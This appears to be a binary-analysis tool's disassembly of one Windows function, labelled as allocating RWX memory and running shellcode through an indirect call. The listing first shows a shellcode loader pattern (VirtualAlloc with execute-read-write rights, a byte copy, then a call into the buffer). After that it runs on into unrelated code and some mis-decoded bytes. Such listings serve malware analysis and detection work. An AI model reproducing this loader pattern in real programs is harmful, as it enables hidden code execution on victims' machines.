Function at 0x140003aa3
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
sub rsp, 0xa0
mov rcx, 0
mov rdx, 0xaa89
mov r8, 0x1000
lea r9, [rcx + 0x40]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140003ade
mov eax, 1
jmp 0x140003b39
lea rax, [0x14001a6fe]
mov rdi, qword [rsp + 0x20]
mov rsi, rax
mov rcx, 0xaa89
rep movsb byte [rdi], byte [rsi]
mov rax, qword [rsp + 0x20]
mov qword [rsp + 0x28], rax
call qword [rsp + 0x28]
xor eax, eax
add rsp, 0xa0
ret
add bh, al
test byte [rsp + riz*8], ah
add dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rax - 0x73], cl
cmp eax, 0x1030dc
mov qword [rsp + 0x1f0], rdi
lea rdx, [rsp + 0x1e0]
mov qword [rsp + 0x1d8], rdx
mov byte [rsp + 0x2c8], 0
test rcx, rcx
jne 0x140003b7e
mov rcx, rbx
mov qword [rsp + 0xc8], rbx
jmp 0x140003bb2
mov qword [rsp + 0x2b8], rbx
mov rax, qword [rcx]
lea r8, [rsp + 0x2b8]
lea rdx, [0x140107388]
call qword [rax]
mov rcx, qword [rsp + 0x2b8]
mov qword [rsp + 0xc8], rcx
mov rdx, qword [rsp + 0x1d8]
mov rax, qword [rcx]
lea r8, [rsp + 0x2c8]
call qword [rax + 0x40]
test eax, eax
js 0x1400044a5
lea rcx, [rsp + 0xc8]
call fcn.140006700
cmp byte [rsp + 0x2c8], 0
je 0x140003cad
mov dword [rsp + 0x200], 1
mov dword [rsp + 0x204], 8
mov qword [rsp + 0x210], rdi
lea rax, [rsp + 0x200]
mov qword [rsp + 0x1f8], rax
lea r8, [rsp + 0x1f8]
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x308]
call fcn.140004810
nop
or r14d, 1
mov dword [rsp + 0x40], r14d
mov rdx, rax
lea rcx, [rsp + 0xa0]
call fcn.140005bd0
nop
or r14d, 2
mov dword [rsp + 0x40], r14d
mov qword [rsp + 0x138], rbx
mov qword [rsp + 0x148], rbx
mov qword [rsp + 0x150], 7
mov word [rsp + 0x138], bx
mov rax, qword [rax]
test rax, rax
je 0x140003c88
mov rdx, qword [rax + 0x10]
mov r8d, dword [rax + 4]
jmp 0x140003c92
lea rdx, [0x140107774]
mov r8, rbx
lea rcx, [rsp + 0x138]
call fcn.1400073b0
lea rax, [rsp + 0x138]
or r14d, 4
jmp 0x140003cec
mov qword [rsp + 0x218], rbx
mov qword [rsp + 0x228], rbx
mov qword [rsp + 0x230], 7
xor r8d, r8d
lea rdx, [0x140107774]
lea rcx, [rsp + 0x218]
call fcn.1400073b0
lea rax, [rsp + 0x218]
or r14d, 8
mov dword [rsp + 0x40], r14d
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x328], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rsp + 0x338], xmm1
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], 7
mov word [rax], bx
test r14b, 8
je 0x140003d34
and r14d, 0xfffffff7
mov dword [rsp + 0x40], r14d
lea rcx, [rsp + 0x218]
call fcn.1400074e0
nop
test r14b, 4
je 0x140003d51
and r14d, 0xfffffffb
mov dword [rsp + 0x40], r14d
lea rcx, [rsp + 0x138]
call fcn.1400074e0
nop
test r14b, 2
je 0x140003d9d
and r14d, 0xfffffffd
mov dword [rsp + 0x40], r14d
mov rdi, qword [rsp + 0xa0]
test rdi, rdi
je 0x140003d9d
mov eax, r12d
lock xadd dword [rdi + 0x18], eax
sub eax, 1
jne 0x140003ed8
call 0x14009147f
mov rcx, rax
mov r8, rdi
xor edx, edx
call 0x14009146d
mov qword [rsp + 0xa0], rbx
mov r14d, dword [rsp + 0x40]
test r14b, 1
je 0x140003dc4
and r14d, 0xfffffffe
mov dword [rsp + 0x40], r14d
cmp qword [rsp + 0xa8], 0
je 0x140003dc4
lea rcx, [rsp + 0xa8]
call fcn.140006700
lea r8, [rsp + 0x328]
cmp qword [rsp + 0x340], 8
cmovae r8, qword [rsp + 0x328]
cmp qword [rsp + 0x338], 2
jne 0x140003e24
lea rax, [0x140106c3c]
movzx ecx, word [r8]
mov edx, 0x4f
cmp cx, dx
jb 0x140003e24
sub r8, rax
cmp cx, dx
ja 0x140003e24
cmp r13, 1
je 0x140003ee5
dec r13
add rax, 2
movzx ecx, word [r8 + rax]
movzx edx, word [rax]
cmp cx, dx
jae 0x140003e04
mov rcx, qword [r15 + 0x28]
test rcx, rcx
je 0x140003e77
mov rax, qword [rcx]
call qword [rax]
cmp byte [rax + 0x1e38], 0
je 0x140003e77
lea rbx, [rsp + 0x328]
cmp qword [rsp + 0x340], 8
cmovae rbx, qword [rsp + 0x328]
mov rcx, qword [r15 + 0x28]
mov rax, qword [rcx]
call qword [rax]
mov r9, rbx
mov r8d, 1
lea rdx, [0x140106c68]
mov rcx, rax
call 0x140088c60
nop
lea rcx, [rsp + 0x328]
call fcn.1400074e0
nop
cmp qword [rsp + 0x308], 0
je 0x140003e9e
lea rcx, [rsp + 0x308]
call fcn.140006700
nop
cmp qword [rsp + 0x2e0], 0
je 0x140003eb7
lea rcx, [rsp + 0x2e0]
call fcn.140006700
nop
cmp qword [rsp + 0x2d0], 0
je 0x1400042f9
lea rcx, [rsp + 0x2d0]
call fcn.140006700
jmp 0x1400042f9
test eax, eax
js 0x1400044ad
jmp 0x140003d90
mov rcx, qword [r15 + 0x28]
test rcx, rcx
je 0x140003f17
mov rax, qword [rcx]
call qword [rax]
cmp byte [rax + 0x1e38], 0
je 0x140003f17
mov rcx, qword [r15 + 0x28]
mov rax, qword [rcx]
call qword [rax]
xor r8d, r8d
lea rdx, [0x140106c48]
mov rcx, rax
call 0x140088c60
mov qword [rsp + 0x310], rbx
mov rax, qword [r15 + 8]
movsxd rcx, dword [rax + 8]
add rcx, 8
add rcx, r15
mov rax, qword [rcx]
lea rdx, [rsp + 0xf0]
call qword [rax]
nop
bts r14d, 0x13
mov dword [rsp + 0x40], r14d
mov rsi, qword [rax]
mov qword [rsp + 0x310], rsi
test rsi, rsi
je 0x140003f5e
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
bt r14d, 0x14
jae 0x140003f80
btr r14d, 0x14
mov dword [rsp + 0x40], r14d
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x140003f80
mov rax, qword [rcx]
call qword [rax + 8]
nop
bt r14d, 0x13
jae 0x140003f9b
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x140003f9b
mov rax, qword [rcx]
call qword [rax + 8]
nop
mov rdi, qword [r15 + 0x28]
mov qword [rsp + 0x320], rdi
test rdi, rdi
je 0x140003fc1
mov rax, qword [rdi + 8]
movsxd rcx, dword [rax + 4]
add rcx, 8
add rcx, rdi
mov rax, qword [rcx]
call qword [rax]
nop
lea rax, [rsp + 0x78]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x78]
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x78], rsi
test rsi, rsi
je 0x140003fe8
mov rax, qword [rsi]
mov rcx, rsi
call qword [rax]
nop
mov qword [rsp + 0x80], rdi
test rdi, rdi
je 0x14000400a
mov rax, qword [rdi + 8]
movsxd rcx, dword [rax + 4]
add rcx, 0x48
sub esp, 0x28
lea rcx, [0x140019ba8]
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
add bh, bh
adc eax, 0xa0f7
lea rcx, [0x14000df80]
add rsp, 0x28
jmp fcn.140004904
adc byte [rdx - 0x1c], dh
add rsp, 0x28
ret
mov ecx, 7
call fcn.140004a54
add byte [rax], al
int3